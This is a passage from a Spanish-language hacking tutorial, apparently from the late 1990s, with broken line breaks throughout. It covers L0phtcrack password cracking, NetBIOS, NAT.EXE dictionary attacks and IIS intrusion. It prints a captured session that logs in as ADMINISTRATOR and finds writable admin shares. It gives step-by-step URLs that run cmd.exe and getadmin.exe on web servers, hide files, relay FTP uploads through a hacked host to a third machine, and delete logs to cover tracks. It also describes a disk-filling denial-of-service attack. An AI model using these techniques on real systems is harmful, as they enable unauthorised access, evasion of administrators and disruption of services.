devolviendo
asi todos los passwords de hasta 14 caracteres que se hayan podido
descifrar.
Cuando se encuentre una coincidencia, la palabra es probada con las
2
elevado a longitud(palabra) posibles combinaciones.
Cambiando
la cadena de caracteres que se procesa por defecto, podemos reducir
drasticamente
la cantidad de tiempo empleada en un ataque de fuerza bruta al
usar
todo el espacio de posibles combinaciones. Recuerda que los siguientes
caracteres
no son validos en un password, por lo que no necesitan ser
incluidos:
'/',
'\', '[', ']'', ':', ';', '|,' ,'=', ',','+', '*', '?', '<', '>'
(de
acuerdo a la informacion que Microsoft facilita).
Por
ejemplo, si lo unico que quieres es chequear todas las posibles
combinaciones
de letras del alfabeto, te basta con pasarle la cadena
ABCDEFGHIJKLMNOPQRSTUVWXYZ
como argumento.
3.5.2.
¨Por que es tan importante ser capaz de atacar solo claves MD4?
El
ataque o crackeo de passwords solo en formato MD4, sin usar LANMAN, es
evidentemente
mucho mas lento que crackear el password en formato LANMAN y
despues
probar todas las combinaciones de mayusculas/minusculas.
Los
cambios producidos en la especificacion CIFS (Common Internet File System)
implican
que un servidor puede ser capaz de forzar a un cliente a usar el
dialecto
MD4 de NT en la conexion, sin dar la posibilidad de usar LANMAN. Por
eso,
se debe ser capaz de poder crackear este tipo de passwords directamente,
dado
que, a menudo, en una sesion de hacking, se usaran sniffers que pondran a
la
tarjeta de red en modo promiscuo, pudiendo monitorizar todo el trafico de
la
red.
3.5.3.
Rendimiento de L0phtcrack.
La
revision 1 de la herramienta, era capaz de probar un diccionario de 8 megas
contra
un listado de 100 usuarios en menos de 1 minuto en un Pentium Pro 200
con
la version de interface grafico. La version de linea de comandos (ventana
MSDOS)
es algo mas rapida incluso, pudiendo sondear por fuerza bruta la
cadena
"ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789-_" en un poco mas de 3 dias
en
un
P133.
La
version 2.0 es capaz de chequear cientos de usuarios con un diccionario de
100.000
palabras en unos pocos minutos usando un Pentium Pro 200. La unica
pega
de usar el metodo de fuerza bruta es que solo encuentra passwords muy
simples
(mal elegidos por su due¤o debido a su simplicidad).
En
la version 2.0, usando la cadena de caracteres A-Z, nos lleva 24 horas
generar
todas las posibles combinaciones y encriptarlar en un Ppro 200. Si se
usa
la cadena A-Z, 0-9, lleva alrededor de 10 dias.
Ademas,
hay que tener en cuenta que existe una prueba para determinar de forma
rapida
cuando un usuario ha elegido un password de 7 caracteres o menos ] y
empezar
a crackear solo este tipo de passwords, con el consiguiente ahorro de
tiempo.
3.5.4.
Donde conseguir la herramienta L0phtcrack.
L0phtcrack
se distribuia libremente en http://www.l0pht.com/advisories.html,
donde
ademas se notificaban los nuevos ataques y vulnerabilidades encontrados
contra
sistemas operativos y programas/utilidades/servicios conocidos. Sin
embargo
la ultima version, la 2.0, ya no trae el codigo fuente. Ademas, deja
de
ser gratuita para pasar a ser shareware. A cambio, introduce las siguientes
mejoras:
$
Un sniffer de red para capturar sesiones SMB, lo que permite recolectar
passwords
LANMAN encriptados sin tener permisos de administrador.
$
Usar la funcion SAMDUMP para extraer los passwords encriptados (los hashes)
de
la rama SAM del registro, del disco de reparacion de emergencia o de una
cinta
de backup.
$
La capacidad de salvar y restaurar un ataque de fuerza bruta empezado y no
terminado..
Se guardan tanto la iteracion actual como el conjunto de
caracteres
usado junto con los resultados parciales. Este fichero es salvado
automaticamente
cada 5 minutos, para no perder por un descuido (corte de luz,
aparicion
repentina del administrador...) cualquier resultado de un ataque
por
fuerza bruta.
$
Cuando una de las mitades de un password LANMAN es encontrada, se muestra
por
pantalla. Esto nos puede ayudar a descifrar el resto por sentido comun.
$
Se ofrecen cadenas de caracteres para el ataque de fuerza bruta.
$
Algoritmo de multiproceso para ataques de fuerza bruta. Rendimiento de un
ataque
por fuerza bruta: 6 horas en un ataque usando la cadena de caracteres
de
la A -Z y 62 horas usando la cadena de la A-Z,0-9 en un ordenador equipado
con
cuatro procesadores Pentium Pro 200.
$
Mayor velocidad de sondeo de passwords ante una gran entrada de usuarios
gracias
a un algoritmo de busqueda mejorado. Ahora es posible usar fuerza
bruta
contra 10.000 entradas de usuario a la vez.
$
L0phtCrack es ahora un proceso en background que se ejecuta con proridad
inferior
a la normal y puede ser ocultado inmediatamente (para ser
posteriormente
restaurado) mediante la pulsacion de una combinacion especial
de
teclas: Ctrl-Alt-L (otra vez util ante posibles entradas de personas
non-gratas
en mitad de un proceso de escaneo de passwords).
La
version de evaluacion, salio 6 meses despues de la version 1.5 y esta
limitada
a 15 dias de prueba, tras lo cual el producto deberia ser registrado,
pagando
$50. La version con interfaz de linea de comandos, recortada aunque
con
codigo fuente, tambien esta disponible de forma gratuita.
4.
Introduccion a NetBIOS.
4.1.
¨Que es NetBIOS?
NetBIOS
(Network Basic Input Output System) fue originalmente desarrollado por
IBM
y Sytek como un API para el software cliente de recursos de una red local
(LAN).
Desde su creacion, NetBIOS se ha convertido en el fundamento de muchas
otras
aplicaciones de red. En sentido estricto, NetBIOS es una especificacion
de
interface para el acceso a servicios de red.
NetBIOS,
una capa de software desarrollado para enlazar un sistema operativo
de
red con hardware especifico, fue originalmente dise¤ado como
EL
controlador de red para las redes LAN de IBM. Hoy en dia, NetBIOS ha sido
extendido
para permitir a los programas que han sido escritos usando dicho
interface
poder trabajar con la arquitectura Token Ring de IBM. NetBIOS ha
sido
adoptado como un estandar mundial y hoy en dia es comun escuchar que una
red
local es compatible NetBIOS.
Resumiendo,
y de forma sencilla, NetBIOS permite a las aplicaciones 'hablar'
con
la red. Su intencion es conseguir aislar los programas de aplicacion de
cualquier
tipo de deopendencia del hardware. Tambien evita que los
desarrolladores
de software tengan que desarrollar rutinas de recuperacion
ante
errores o de enrutamiento o direccionamiento de mensajes a bajo nivel.
NetBIOS
hace el 'trabajo sucio'.
En
una red local con soporte NetBIOS, los ordenadores son conocidos e
identificados
con un nombre. Cada computador de la red tiene un unico nombre.
Cada
PC de una red local NetBIOS se comunica con los otros bien sea
estableciendo
una conexion (session), usando datagramas NetBIOS o mediante
broadcast.
Las sesiones (establecimiento de una conexion) permiten, como en
el
protocolo TCP, mandar mensajes mas largos y gestionar el control y
recuperacion
de errores. La comunicacion sera punto a punto. Por otro lado,
los
metodos de datagramas y broadcast permiten a un ordenador comunicarse con
otros
cuantos al mismo tiempo, pero estando limitados en el tama¤o del mensaje.
Ademas,
no hay control ni recuperacion de errores (al igual que ocurre en UDP).
A
cambio, se consigue una mayor eficiencia con mensajes cortos, al no tener
que
establecer una conexion.
Asi
pues, NetBIOS permite comunicacion orientada a conexion (TCP) o no
orientada
a conexion (UDP). Soporta tanto broadcast como multicast, ademas
de
3 tipos de servicio diferentes: Servicio de Nombres, Servicio de Sesion y
Servicio
de Datagramas.
4.2.
Servicio de Nombres en NetBIOS
Los
nombres en NetBIOS son usados para identificar recursos en la red. Las
aplicaciones
usan estos nombres para empezar y terminar conexiones.
Puedes
configurar una unica maquina para multiples aplicaciones y asignar un
nombre
distinto a cada una de ellas. Ademas en NetBIOS se identifica tambien
a
cada ordenador de la red de forma univoca, por un unico nombre.
Cada
uno de estos nombres puede estar formado por 16 caracteres alfanumericos.
La
combinacion de caracteres debe ser unica dentro de cada red. Para ello,
antes
de que un PC pueda usar un nombre NetBIOS, debe resgistrarlo. Cuando un
cliente
quiere registrar un nombre, debe advertirlo a toda la red mediante
broadcast
y esperar las respuestas de los otros nodos para confirmar que el
nombre
no esta en uso. Si ningun cliente reclama el nombre, el proceso de
registro
termina y el nombre de servicio ha quedado registrado.
Existen
2 tipo de nombres en un entorno NetBIOS: 'Unique' y 'Group'.
Un
nombre 'Unique', como su propio nombre indica, debe ser unico en toda la
red.
Un
nombre de grupo no tiene por que ser unico y asi, todos los procesos con
un
determinado nombre de grupo pertenecen a dicho grupo.
Cada
nodo NetBIOS mantiene una tabla con todos los nombres de los que es
propietario.
Aunque
en principio las especificaciones NetBIOS permiten nombres de 16
caracteres,
Microsoft los limita a 15 y usa el 16§ como un sufijo NetBIOS.
Este
sufijo es usado por el software de rted de Microsoft para identificar
el
servicio o dispositivo registrado.
Los
puertos en los que 'trabaja' NetBIOS sobre TCP/IP (NBT) son el 137
Servicio
de Nombres NetBIOS (UDP), 138 Servicio de datagramas NetBIOS (UDP)
y
el 139, Servicio de Conexion NetBIOS (TCP).
A
continuacion se lista una tabla de los sufijos NetBIOS usados actualmente
por
Microsoft Windows NT. Los sufijos se muestran en formato hexadecimal.
'Unique'
(U): el nombnre deberia tener solo una direccion IP asignada. En un
dispositivo
de red, podria parecer que aparecieran registradas multiples
ocurrencias
de un mismo nombre, pero el sufijo sera unico, por lo que el
nombre
completo (con sufijo) sera unico ('Unique').
'Group'
(G): un grupo normal; un unico nombre podria tener asignadas varias
direcciones
IP.
'Multihomed'
(M): el nombre es unico, pero debido a que en un mismo ordenador
puede
haber mas de un interface de red, esta configuracion es necesaria para
permitir
su registro. El numero maximo de direcciones IP que puede tener
asignado
es de 25.
'Internet
Group' (I): esta es una configuracion especial de un nombre de
grupo
para poder gestionar los nombres de dominio de Windows NT.
'Domain
Name' (D): nuevo en NT 4.0 (Nombre de Dominio)
Para
echarle un vistazo a los nombres y servicios NetBIOS registrados en
los
servidores de la red, puedes ejecutar el siguiente comando:
'nbtstat
-A [direccion_IP]'
o
'nbtstat
-a [nombre_host]
4.3.
El servicio de 'Session' NetBIOS
El
servicio de Session (Conexion) NetBIOS nos ofrece un servicio orientado a
conexion,
seguro (se asegura que los datos llegan a su destino) y full-duplex.
El
establecimiento de una conexion NetBIOS requiere que una estacion cliente
y
otra estacion servidor esten sincronizados. Asi, una estacion debe estar en
modo
listen cuando la otra le mande un comando call.
Cuando
se establece una llamada cada aplicacion recibe una notificacion de
que
efectivamente, se ha establecido la conexion y un identificador de la
misma.
Los comandos send y receive transfieren los datos. Al final de una
sesion,
cualquiera de las dos aplicaciones puede lanzar un comando de fin
Hang-Up
(colgar).
No
hay un control de flujo real para el servicio de conexion debido a que se
asume
que la red local (LAN) es lo suficientemente rapida como para soportar
todo
el trafico generado.
4.4.
Datagramas NetBIOS
Los
datagramas pueden ser enviados a un nombre especifico, a todos los
miembros
de un grupo o en modo broadcast a toda la red. Como en otros
servicios
de datagrama (UDP), los datagramas NetBIOS son no orientados a
conexion
y no aseguran que los datos lleguen a su destino. El comando
Send_Datagram
requiere que el emisor especifique el nombre del destino. Si el
destino
es un nombre de grupo, todos los miembros del mismo recibiran el
datagrama.
La aplicacion que lance un comando "Receive_Datagram" debe
especificar
el nombre local para el que quiere recibir servicio de datagramas.
Este
comando devuelve, ademas de los datos propiamente dichos que lleve el
datagrama,
el nombre del emisor. Si NetBIOS recibe un datagrama, pero no se
ha
lanzado un comando "Receive_Datagram", el datagrama sera descartado.
El
comando Send_Broadcast_Datagram manda el mensaje a todos los sistemas
NetBIOS
de la red local. Cuando un datagrama de este estilo es recibido por
un
nodo NetBIOS, cada proceso que haya lanzado un comando
"Receive_Broadcast_Datagram"
recibira dicho datagrama. Si no existe ninguna
peticion
de recepcion de datagramas, este sera descartado.
NetBIOS
permite a una aplicacion establecer una conexion con cualquier otro
dispositivo
y deja que el redirector y los protocolos de transacciones pasen
los
mensajes entre maquinas. NetBIOS no manipula de ninguna manera los
mensajes.
Las especificaciones NetBIOS define un interface para el protocolo
de
red usado para obtener ciertos servicios, pero no define el protocolo como
tal.
Historicamente se ha emparejado con un protocolo de red llamado NetBEUI
(Network
Extended User interface). La asociacion del interface y del
protocolo
a menudo puede llevar a confusion, pero son dos cosas diferentes.
Los
protocolos de red siempre ofrecen al menos un metodo de localizar y
conectarse
a un servicio concreto de una red. Esto se consigue normalmente
convirtiendo
el nombre de un nodo o de un servicio a una direccion de red
(lo
que se ha dado en llamar resolucion de nombres).
Los
nombres NetBIOS deben ser resueltos a una direccion IP antes de
establecer
una conexion TCP/IP. Muchas implementaciones NetBIOS para TCP/IP
consiguen
la resolucion de nombres bien sea usando broadcast o ficheros
LMHOSTS.
En un entorno Microsoft Windows, seguramente usaras un Servidor de
Nombres
NetBIOS conocido como WINS.
5.
Vulnerabilidades NetBios. NAT.
Esta
tecnica de ataque NetBIOS ha sido verificada en Windows 95, NT 4.0
Workstation,
NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server y
Windows
98 beta 2.1. Uno de los componentes que se suelen usar en este tipo
de
ataques es NAT.EXE, una utilidad de Andrew Tridgell.
A
continuacion, discutiremos los usos de esta herramienta, sus parametros
y
las tecnicas mas usadas:
NAT.EXE
[-o nombre_fichero] [-u lista_usuarios] [-p lista_passwords]
<direccion_IP>
Parametros:
-o
Especifica el fichero de salida. Todos los resultados del escaneo seran
escritos
en este fichero, ademas de en pantalla.
-u
Especifica el fichero fuente del que se leeran los nombres de usuario. Se
usaran
estos nombres en un ataque de diccionario al servidor remoto. Los
nombres
deben aparecer uno por linea.
-p
Especifica el fichero donde se encuentran los passwords a probar. Deben ir
tambien
uno por linea.
<direccion_IP>
Las direcciones deben ir delimitadas por comas, sin espacios.
Ejemplos
de rangos de direcciones validas son:
nombre_host
: se escaneara este host
127.0.0.1-127.0.0.3
: escaneara el rango de direcciones comprendido entre
127.0.0.1
y 127.0.0.3
127.0.0.1-3
: equivalente al anterior.
127.0.0.1-2,7,10-20:
escaneara el rango de direcciones comprendido entre
127.0.0.1
y 127.0.0.3 luego el host 127.0.0.7 y finalmente
los
comprendidos entre 127.0.0.10 y 127.0.0.20
nombre_host,
127.0.0.1-3 : escanea el nombre_host y luego las maquinas
con
@IP entre 127.0.0.1 y 127.0.0.3
Todas
las combinaciones de nombres_host y rangos de direcciones especificadas
como
las del los ejemplos anteriores son validas.
5.1.
El comando NBTSTAT
El
ataque realizado con NAT es equivalente a una combinacion de NBTSTAT y
comandos
NET. Por lo tanto, veamos con un poco mas de detalle los resultados
de
realizar un nbstat a la direccion XXX.XX.XXX.XX.
C:\nbtstat
-A XXX.XX.XXX.XX
NetBIOS
Remote Machine Name Table
Name
Type Status
---------------------------------------------
STUDENT1
<20> UNIQUE Registered
STUDENT1
<00> UNIQUE Registered
DOMAIN1
<00> GROUP Registered
DOMAIN1
<1C> GROUP Registered
DOMAIN1
<1B> UNIQUE Registered
STUDENT1
<03> UNIQUE Registered
DOMAIN1
<1E> GROUP Registered
DOMAIN1
<1D> UNIQUE Registered
..__MSBROWSE__.<01>
GROUP Registered
MAC
Address = 00-C0-4F-C4-8C-9D
Recordemos
un poco cual es el significado del 16§ bit en los codigos NetBIOS:
Nombre_host
<00> UNIQUE Nombre de servicio de la estacion de trabajo
<00>
GROUP nombre de dominio
Servidor
<20> UNIQUE Nombre de Servicio del Servidor
Nombre_host
<03> UNIQUE Registrado por el servicio de mensajeria. Este es
nombre
de host que debera a¤adirse al fichero LMHOSTS, que, aunque no es
necesario
para el uso de NAT.EXE sera necesario si quieres ver el ordenador
remoto
en la lista de 'Network Neighborhood' (Otros ordenadores conectados)
Nombre_Usuario
<03> Registrado por el servicio de mensajeria.
Nombre_Dominio
<1B> Registra el ordenador local como el "master browser"
para el dominio.
Nombre_Dominio
<1C> Registra el ordenador como un controlador de dominio
para el dominio (PDC o BDC)
Nombre_Dominio
<1E> Se registra como un nombre de grupo NetBIOS
<BF>
Nombre del Monitor de Red
<BE>
Agente Monitor de Red
<06>
Servidor RAS
<1F>
Red DDE
<21>
Cliente RAS
5.2.
Introduccion a los comandos NET
El
comando NET puede ser introducido por los administradores a traves de una
ventana
DOS para mostrar informacion sobre servidores, redes, recursos
compartidos
y conexiones. Tambien tiene un numero de opciones que puedes usar
para
a¤adir cuentas de usuario, cambiar la configuracion del dominio y
configurar
recursos compartidos.. En esta seccion se mostraran estos comandos
NET
y se dara un peque¤o script que se puede usar como una herramienta
basica
de
analisis de seguridad. Antes de continuar con estas tecnicas, se discutiran
las
opciones disponibles para el comando NET.
Net
Accounts: este comando muestra la configuracion actual y las restricciones
que
se aplican en la politica de passwords, limitaciones de conexion e
informacion
de dominio. Tambien contiene opciones para actualizar la base de
datos
con las cuentas de los usuarios y modificar los requerimientos de
conexion
y password.
Net
Computer: a¤ade o borra hosts de la base de datos de un dominio.
Net
Config Server o Net Config Workstation: muestra info. sobre la
configuracion
del servicio de servidor. Cuando se usa sin especificar Server
o
Workstation, el comando muestra una lista de los servicios configurables.
Net
Continue: reactiva un servicio NT que fue suspendido
por
un comando NET PAUSE.
Net
File: este comando muestra los ficheros abiertos en un servidor y tiene
opciones
para cerrar los ficheros compartidos y desbloquear ficheros.
Net
Group: muestra informacion sobre nombres de grupo y tiene opciones
que
se pueden usar para a¤adir o modificar grupos globales en servidores.
Net
Help: ofrece ayuda para el comando Net.
Net
Helpmsg message#: ofrece ayuda para un error de red en particular
o
para un mensaje de alguna funcion.
Net
Localgroup: usado para listar grupos locales en servidores.
Tambien
es posible modificar estos grupos.
Net
Name: muestra los nombres de los ordenadores y de los usuarios a
los
que se les puede mandar mensajes.
Net
Pause: usa este comando para suspender un determinador servicio NT.
Net
Print: muestra los trabajos mandados a la impresora y
las
colas compartidas.
Net
Send: usado para mandar mensajes a otros usuarios u ordenadores de la red.
Net
Session: muestra informacion sobre las conexiones actuales.
Ofrece
comandos para desconectar ciertas sesiones.
Net
Share: muestra informacion sobre todos los recursos compartidos.
Este
comando es usado para crear recursos compartidos a traves de red.
Net
Statistics Server o Net Statistics Workstation: muestra el registro
de
estadisticas.
Net
Stop: para servicios NT, cancelando cualquier conexion que este usando el
servicio.
Hay que citar que parar un servicio puede traer como efecto lateral el
detener
otros.
Net
Time: comando usado para mostrar o inicializar la hora de
un
ordenador o dominio.
Net
Use: muestra una lista de ordenadores conectados y tiene
opciones
de conexion y desconexion de recursos compartidos.
Net
User: este comando mostrara una lista de cuentas de usuario para el
ordenador
y tiene opciones de manipulacion/creacion de estas cuentas.
Net
View: muestra una lista de recursos compartidos en un
ordenador,
incluyendo servidores Netware.
5.3.
Una sesion de ataque NetBIOS mediante el uso de NET VIEW y NET USE
C:\net
view XXX.XX.XXX.XX
Shared
resources at XXX.XX.XXX.XX
Share
name Type Used as Comment
------------------------------------------------------------------------------
NETLOGON
Disk Logon server share
Test
Disk
The
command completed successfully.
NOTE:
The C$ ADMIN$ and IPC$ are hidden and are not shown.
C:\net
use /?
The
syntax of this command is:
NET
USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[[/DELETE]
| [/PERSISTENT:{YES | NO}]]
NET
USE [devicename | *] [password | *]] [/HOME]
NET
USE [/PERSISTENT:{YES | NO}]
C:\net
use x: \\XXX.XX.XXX.XX\test
The
command completed successfully.
C:\net
use
New
connections will be remembered.
Status
Local Remote Network
-------------------------------------------------------------------------------
OK
X: \\XXX.XX.XXX.XX\test Microsoft Windows Network
OK
\\XXX.XX.XXX.XX\test Microsoft Windows Network
The
command completed successfully.
5.4.
Una sesion de ataque NetBIOS mediante el uso de NAT.EXE
Ahora
viene el esperado ejemplo de ataque NetBIOS mediante la utilidad NAT.EXE.
La
informacion listada a continuacion es una captura de una sesion de ataque
real.
La direccion IP ha sido modificada para prevenir represalias:
C:\nat
-o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YY.YY.YY.YY
[*]---
Reading usernames from userlist.txt
[*]---
Reading passwords from passlist.txt
[*]---
Checking host: XXX.XX.XXX.XX
[*]---
Obtaining list of remote NetBIOS names
[*]---
Attempting to connect with name: *
[*]---
Unable to connect
[*]---
Attempting to connect with name: *SMBSERVER
[*]---
CONNECTED with name: *SMBSERVER
[*]---
Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]---
Server time is Mon Dec 01 07:44:34 1997
[*]---
Timezone is UTC-6.0
[*]---
Remote server wants us to encrypt, telling it not to
[*]---
Attempting to connect with name: *SMBSERVER
[*]---
CONNECTED with name: *SMBSERVER
[*]---
Attempting to establish session
[*]---
Was not able to establish session with no password
[*]---
Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]---
CONNECTED: Username: `ADMINISTRATOR' Password: `password'
[*]---
Obtained server information:
Server=[STUDENT1]
User=[] Workgroup=[DOMAIN1] Domain=[]
[*]---
Obtained listing of shares:
Sharename
Type Comment
---------
---- -------
ADMIN$
Disk: Remote Admin
C$
Disk: Default share
IPC$
IPC: Remote IPC
NETLOGON
Disk: Logon server share
Test
Disk:
[*]---
This machine has a browse list:
Server
Comment
---------
-------
STUDENT1
[*]---
Attempting to access share: \\*SMBSERVER\
[*]---
Unable to access
[*]---
Attempting to access share: \\*SMBSERVER\ADMIN$
[*]---
WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]---
Checking write access in: \\*SMBSERVER\ADMIN$
[*]---
WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]---
Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
[*]---
Attempting to access share: \\*SMBSERVER\C$
[*]---
WARNING: Able to access share: \\*SMBSERVER\C$
[*]---
Checking write access in: \\*SMBSERVER\C$
[*]---
WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]---
Attempting to exercise .. bug on: \\*SMBSERVER\C$
[*]---
Attempting to access share: \\*SMBSERVER\NETLOGON
[*]---
WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]---
Checking write access in: \\*SMBSERVER\NETLOGON
[*]---
Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
[*]---
Attempting to access share: \\*SMBSERVER\Test
[*]---
WARNING: Able to access share: \\*SMBSERVER\Test
[*]---
Checking write access in: \\*SMBSERVER\Test
[*]---
Attempting to exercise .. bug on: \\*SMBSERVER\Test
[*]---
Attempting to access share: \\*SMBSERVER\D$
[*]---
Unable to access
[*]---
Attempting to access share: \\*SMBSERVER\ROOT
[*]---
Unable to access
[*]---
Attempting to access share: \\*SMBSERVER\WINNT$
[*]---
Unable to access
Asi
pues, si el recurso compartido tiene puestos los permisos por defecto:
Control
Total / Todos , el servidor esta a tu disposicion. Si no, sigue
intentandolo.
Te sorprenderia saber todo lo que se dejan los administradores
por
ahi ;-)
6.
Vulnerabilidades en Internet Information Server (IIS)
(Basado
en el trabajo original en ingles de David Litchfield: "A discussion
of
a variety of potential "Hacks" on MS Internet Information Server)
6.1.
Entrando por la puerta trasera.
Recientemente
realice una busqueda en Excite usando el siguiente criterio de
busqueda:
"batch files as CGI Scripts". Esta frase aparece en el capitulo
8
de
la ayuda en linea de MS IIS. El resultado de la busqueda produjo una lista
masiva
de maquinas NT con IIS en Internet. Con gran curiosidad decidi sondear la
fortaleza
de estos sistemas desde el punto de vista de la seguridad (o la
falta
de ella).
He
testeado unas 50 maquinas y los resultados han sido sorprendentes. He
encontrado
7 maquinas en las que se podria poner ficheros en el sistema via
ftp;
no solo eso: en 2 de esas maquinas podria copiar ficheros a un directorio
www-virtual
con permisos de lectura y ejecucion... Oooops!! Podria copiar
cmd.exe
(ahora veremos por que) y getadmin.exe (mas gasys.dll por supuesto)
a
ese directorio. Despues, usando mi navegador podria seguir la siguiente
direccion
URL: http://www.target.com/cgi-bin/getadmin.exe?iusr_hostname
(es
bastante comun que el servicio FTP en IIS muestre el nombre del servidor..
y
si la cuenta anonima por defecto no ha sido deshabilitada tras realizar
estos
sencillos pasos...ya disponemos de una cuenta "propia"!).
Ejecutando
getadmin.exe de forma remota como se ha mostrado, realiza
correctamente
su trabajo ;-) ... pruebalo.
Asi
que ya disponemos de derechos de administrador ... pronto veremos que
hacer
con ellos. ¨Que podemos decir sobre cmd.exe? Apunta a una direccion de
este
estilo con el navegador:
http://www.host.com/cgi-bin/cmd.exe?/c%20dir%20c:\winnt
o
la siguiente:
http://somehost/cgibin/cmd.exe?/c%20copy%20c:\winnt\*.*%20c:\inetpub\ftproot
si
copiamos como hemos dicho el programa cmd.exe al directorio cgi-bin (por
ejemplo)
y el administrador abre el explorador de NT en ese directorio, el
programa
cmd.exe saltara a la vista inmediatamente... asi que es necesario
esconderlo:
http://somehost/cgibin/cmd.exe?/c%20c:\winnt\system32\attrib.exe%20%2BH%cmd.exe
Esto
hace que el fichero pase a estar oculto (esperemos que el administrador
tenga
puesto el filtro que viene por defecto en NT para no ver en el
Explorador
los archivos ocultos).
Si
te preocupa el significado de los signos de porcentaje, ahora pasamos a
explicarlos:
%
este signo avisa de los dos numeros siguientes codifican en hexadecimal un
caracter
ASCII.
%20
implica el signo ASCII de espacio en blanco
%2B
codifica el caracter ASCII '+', asi pues, el trozo de URL anterior:
attrib.exe%20%2BH%20cmd.exe
se puede "traducir" por attrib.exe +H cmd.exe
Nota:
si no usas el codigo ASCII en hexadecimal para el caracter '+' y en
su
lugar usas el signo '+' sin codificar, no se ejecutara el comando attrib
correctamente
dado que en CGI, el caracter '+' se usa para separar parametros.
Nota
para los administradores: configurar el Explorer de NT para que
muestre
todos los ficheros y el intruso no pueda esconder sus acciones tan
facilmente.
Una vez que tengas el fichero "cmd.exe" puedes ejecutar cualquier
linea
de comandos que quieras, lo que nos lleva a comentar el siguiente ataque.
6.2.
El ataque Pipe HTTP/FTP
La
idea general es conectarse a una maquina, ejecutar un comando en esa
maquina
para que se conecte a una tercera, haciendo que la 2¦ maquina sea una
especie
de proxy. He aqui los pasos a seguir: desde mi maquina, usando HTTP,
conecto
con el primer servidor, usando la siguiente URL:
http://www.host.com/cgi-bin/cmd.exe?/c:%20c:\winnt\system32\ftp.exe%20-
s:commands.txt%20dir_IP
Expliquemos
el significado de esta URL. Cuando ejecutamos ftp.exe podemos
especificar
el nombre de un fichero de texto que lista los comando que queramos
ejecutar,
p.ejm.:
Anonymous
[email protected]
Put
file.txt
Put
program.exe
Bye
Obviamente,
deberas manipular los comandos convenientemente para que se
adecuen
a tus necesidades... y lo que necesitamos ahora es subir este fichero
a
la segunda maquina. Al final de la URL tienes dir_IP. Esta es la direccion
IP
de la tercera maquina. Lo que hacemos es cargar el proceso ftp en memoria..
es
importante mencionar que que la ventana de comandos no se abre en mitad del
escritorio
al hacer esto... la unica forma de darse cuenta de que el proceso
ftp
se esta ejecutando es usando el Task Manager (Adminitrador de Tareas) y
buscar
a traves de los procesos en ejecucion. Si todo va bien, supongase que
la
segunda maquina contacta con la tercera(el servidor a atacar) y ejecuta los
comandos
del fichero que acabamos de subir: "command,txt". Asi que... ya
lo
hemos
conseguido... hemos dejado (o borrado si quisieramos) ficheros en la
tercera
maquina sin tener una conexion directa. La direccion IP que apareca
en
el fichero de logs (registro de actividad) de la tercera maquina sera la
de
la segunda y no la nuestra.
Ahora,
deberemos ocultar las trazas que hemos ido dejando en el ataque
(deberiamos
dejar el terreno tan limpio como cuando entramos) de la 2¦ maquina.
Recuerda
que habiamos ejecutado getadmin.exe.
El
usuario IUSR:hostname tiene derechos de administrador... lo que es una
suerte
porque para ocultar tus "actividades" de la mejor manera que puedas
necesitaras
cambiar la fecha del sistema:
http://www.hostname.com/cgi-bin/cmd.exe?/c%20date%2011/11/97
inicializa
la fecha a un tiempo ya pasado... ¨por que?
a)
el administrador tendra que buscar en ficheros log antiguos (eso si se da
cuenta
de que ha pasado algo raro) y si los logs antiguos son borrados con
cierta
regularidad, tendra un peque¤o problema...
b)
necesitaras borrar tambien otro log (para esconder tus trazas, la fecha en
la
que
entraste y en la que te encuentras tras haberla cambiado). Concretamente
el
log que guarda las actividades del dia del ataque (sea 13-IV-98). Para
ello
espera 5 minutos (para que el log se escriba a disco) y sigue la
siguiente
direccion URL:
http://www.host.com/cgi-
bin/cmd.exe?/c%20del%20c:\winnt\system32\logfiles\in980413.log
Despues,
es necesario inicializar la fecha al dia de hoy... a la fecha en la
que
deberia estar... Hay otras cosas que se pueden hacer pero no entrare en
mas
detalles. El trabajo de limpieza que hemos realizado no soportara un
intenso
escrutinio pero pasara una inspeccion normal.
Usando
el ataque HTTP/FTP Pipe Attack podrias atravesar un firewall... si el
firewall
tiene una relacion de confianza con la @IP de la maquina IIS hackeada
es
posible pasar ficheros y otro tipo de trafico (ICMP) a traves del firewall...
sientate
y piensa que otras cosas se pueden "hacer" con la combinacion
cmd.exe/getadmin.exe.
Piensa tambien en usar net.exe [seccion-5.2] junto con
estas
dos aplicaciones para crear cuentas, cambiar passwords... lo que
quieras...
incluso acceso a la rama SAM del Registro de Windows NT si el
administrador
tiene permisos de lectura.
Cuidado,
si en el servidor se esta ejecutando Internet Service Manager (ISM)
en
su version HTML, es posible crear una cuenta, ejecutar getadmin.exe en
dicha
cuenta y saltarse la seguridad de ISM (ism.dll) con un identificador
y/o
un password correcto.
6.3.
Otros ataques al IIS
Agotar
el recurso HD con ficheros .mdb
Este
tipo de ataque deberia ser clasificado como un ataque D.O.S. Es posible
rellenar
el disco duro del objetivo con ficheros .mdb de 40k cada uno. Lo que es
preocupante
es el hecho de que cerca de la mitad de las maquinas que he
observado
son susceptibles a este tipo de ataque. Si seguimos la siguiente
direccion
URL:
http://www.host.com/scripts/tools/getdrvrs.exe
nos
llevara a una pagina Web donde podremos seleccionar un driver para crear
una
fuente de datos para un controlador ODBC. Siguiendo las instrucciones en
pantalla
podras crear un ficheros "loquequieras.mdb" de unos 40kb de longitud.
Si
ejecutamos lo mismo unas 1000 veces habremos ocupadoo 40MB de disco duro.
No
es dificil realizar un programa para automatizar la tarea (que incluso
disponga
de opciones para especificar nombres, tama¤o a ocupar, etc...). Asi
pues,
es necesario proteger estas paginas con password.
El
Internet Service Manager (HTML)
Si
no modificamos los directorios de la instalacion por defecto, el ISM se
encuentra
en la siguiente direccion URL:
http://www.host.com/iisadmin/default.htm
Al
intentar administrar cualquier servicio del ISM, se ejecuta la siguiente
URL:
http://www.host.com/scripts/iisadmin/ism.dll?http/serv
Invariablemente,
ism.dll lanza una peticion de password... es posible a su
vez,
lanzar contra esta peticion un ataque de fuerza bruta (si no es posible
crear
una cuenta como se describio antes).
Otras
paginas a tener en cuenta.
Existe
